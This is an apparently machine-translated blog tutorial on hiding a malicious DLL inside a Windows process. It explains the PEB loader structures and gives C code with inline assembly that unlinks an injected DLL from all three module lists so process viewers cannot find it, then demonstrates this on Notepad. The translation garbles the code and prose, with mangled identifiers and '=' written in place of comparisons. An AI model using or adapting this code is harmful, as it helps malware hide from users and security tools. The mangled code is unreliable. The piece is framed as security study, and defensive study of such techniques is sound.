Anti-virus attack and defense: A Preliminary Study of malicious program hiding-DLL hiding
I. Preface I used three articles to describe how to use DLL to hide processes (For details, refer to Article 009th on anti-virus attack and defense: DLL injection (I) -DLL file writing, anti-virus attack and defense research 010th: DLL injection (in)-DLL injection and uninstallation preparation, and anti-virus attack and defense research 011st: DLL injection (below)-DLL-free injection), the principle is to write a malicious program as a DLL program, and then inject it into the target process using DLL injection, in this way, the malicious program will not actively create a process, and thus achieve the purpose of hiding. However, even so, we can still use the software for viewing the DLL program in the process to find these DLL files, such as the process manager I wrote earlier (For details, refer to Article 004th on security tools: Process Manager (I) and security tools: Process Manager (II). Therefore, using this method is still not confidential. Therefore, the content I discussed this time is to hide the DLL file.
Ii. DLL hiding principle a structure called ThreadEnvironment Block is maintained in our Windows operating system, which describes the thread status (in Different Windows versions, its definition may be somewhat different, so the specific problem should be analyzed ). The system saves frequently used thread-related data in TEB, which is located in the user address space. Each thread in the process has its own TEB. All tebs of a process are stored in a stack in linear memory starting from 0x7FFDE000 (Windows XP). Each 4 kb is a complete TEB. In user mode, the TEB of the current thread is located in an independent 4 kb segment and can be accessed through the FS register of the CPU, which is generally stored in [FS: 0]. In user mode, the $ thread command can be used in WinDbg to obtain the TEB address. Through the analysis of TEB, we can find the PEB (Process Environment Block) struct, which is located at the position of the TEB struct offset 0x30. PEB contains process information. Each process has its own PEB information, which is located in the user address space, so the program can directly access it. This struct contains an item named Ldr, which points to a PEB_LDR_DATA struct. This struct stores the information of the module read by the process, which is located at 0x0C of the peb offset. It is defined in MSDN as follows:
Typedef struct _ PEB_LDR_DATA {BYTE Reserved1 [8]; PVOID Reserved2 [3]; LIST_ENTRY InMemoryOrderModuleList;} PEB_LDR_DATA, * PPEB_LDR_DATA; a struct named LIST_ENTRY is displayed, this struct is actually a linked list. Its definition is as follows: [cpp] view plaincopytypedef struct _ LIST_ENTRY {struct _ LIST_ENTRY * Flink; struct _ LIST_ENTRY * Blink;} LIST_ENTRY, * PLIST_ENTRY, * RESTRICTED_POINTER PRLIST_ENTRY;
It should be noted that in MSDN's description of _ PEB_LDR_DATA, only the InMemoryOrderModuleList item is displayed. In fact, the complete structure is as follows:
Typedef struct _ PEB_LDR_DATA {ULONG Length; // + 0x00 BOOLEAN Initialized; // + 0x04 PVOID SsHandle; // + 0x08 LIST_ENTRY InLoadOrderModuleList; // + 0x0c, loading Sequence LIST_ENTRY InMemoryOrderModuleList; // + 0x14, memory sequence LIST_ENTRY InInitializationOrderModuleList; // + 0x1c, initialization sequence} PEB_LDR_DATA, * PPEB_LDR_DATA; // + 0x24
For security and other reasons, Microsoft does not provide a full definition of some struct in MSDN, and many of them need to be explored by themselves. The three LIST_ENTRY struct in the above structure points to LDR_DATA_TABLE_ENTRY, which is defined as follows:
typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
What is important in this struct is the DllBase (module ing address) and FullDllName (module path and name ). With the above information, you can program to implement the corresponding functions. First, we need to find the addresses of the three struct: InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList. Then, we need to traverse these three structs to find the modules that want to be dechained. Finally, we need to implement. It should be noted that the above description may be abstract. Readers can easily understand it according to the following procedures and the above theories. It is actually a basic pointer operation.
Iii. Programming implementation
Here, add the following code to the DLL file in article 009th on Anti-Virus Defense: DLL injection (I)-DLL file writing:
# Include <Windows. h> # include <stdio. h> void HideModule (char * szModule) {DWORD * PEB = NULL, * Ldr = NULL, * Flink = NULL, * p = NULL, * BaseAddress = NULL, * FullDllName = NULL; // use inline assembly to obtain the PEB address _ asm {mov eax, fs: [0x30] mov PEB, eax} // obtain the HMODULE hMod = GetModuleHandle (szModule) handle of the blockchain module; // obtain the Ldr address, located at 0x0C of PEB offset Ldr = * (DWORD **) (unsigned char *) PEB + 0x0c); // traverses InLoadOrderModuleList, which is located in Ldr Offset 0x0c Flink = * (DWORD **) (unsigned char *) Ldr + 0x0c); p = Flink; do {// note that the BaseAddress and FullDllName of the three struct are different BaseAddress = * (DWORD **) (unsigned char *) p + 0x18 )); fullDllName = * (DWORD **) (unsigned char *) p + 0x28); // module matching, if (BaseAddress = (DWORD *) hMod) {** (DWORD **) (p + 1) = (DWORD) * (DWORD **) p); * (DWORD **) p) + 1) = (DWORD) * (DWORD **) **) (P + 1); break;} p = * (DWORD **) p);} while (Flink! = P); // traverse InMemoryOrderModuleList, which is located at 0x14 of the Ldr offset. Flink = * (DWORD **) (unsigned char *) Ldr + 0x14 )); p = Flink; do {BaseAddress = * (DWORD **) (unsigned char *) p + 0x10); FullDllName = * (DWORD **) (unsigned char *) p + 0x20); if (BaseAddress = (DWORD *) hMod) {** (DWORD **) (p + 1 )) = (DWORD) * (DWORD **) p); * (DWORD **) p) + 1) = (DWORD) * (DWORD **) (p + 1 ); Break;} p = * (DWORD **) p);} while (Flink! = P); // traverse InInitializationOrderModuleList, which is located at 0x1c of the Ldr offset. Flink = * (DWORD **) (unsigned char *) Ldr + 0x1c )); p = Flink; do {BaseAddress = * (DWORD **) (unsigned char *) p + 0x8); FullDllName = * (DWORD **) (unsigned char *) p + 0x18); if (BaseAddress = (DWORD *) hMod) {** (DWORD **) (p + 1 )) = (DWORD) * (DWORD **) p); * (DWORD **) p) + 1) = (DWORD) * (DWORD **) (P + 1); break;} p = * (DWORD **) p);} while (Flink! = P) ;}then Add the following in case DLL_PROCESS_ATTACH of DllMain: [cpp] view plaincopyHideModule ("HackedDll. dll ");
So far, after the program is compiled, You can compile the link.
Iv. program testing
Inject the DLL file generated by this program into the "Notepad" process. A dialog box for virus simulation is displayed, in this case, if you use the previously compiled "Process Manager" to view the DLL file of the "Notepad" process, the HackedDll cannot be found. the dll module indicates that our program is successful and has achieved the expected goal. Even some software that specializes in viewing DLL files cannot find our hidden DLL files. However, if you use the "ice blade", you can see it because it uses different enumeration modules. I may discuss this in a later article.
V. Summary
This article briefly explains a basic method for hiding DLL. In fact, there are some methods for hiding DLL, and even the "ice blade" cannot be checked. As we continue to discuss it in depth, I will discuss it in detail. Of course, more advanced methods are based on our understanding of the entire operating system, so in the future I will gradually go deep into the system kernel for discussion.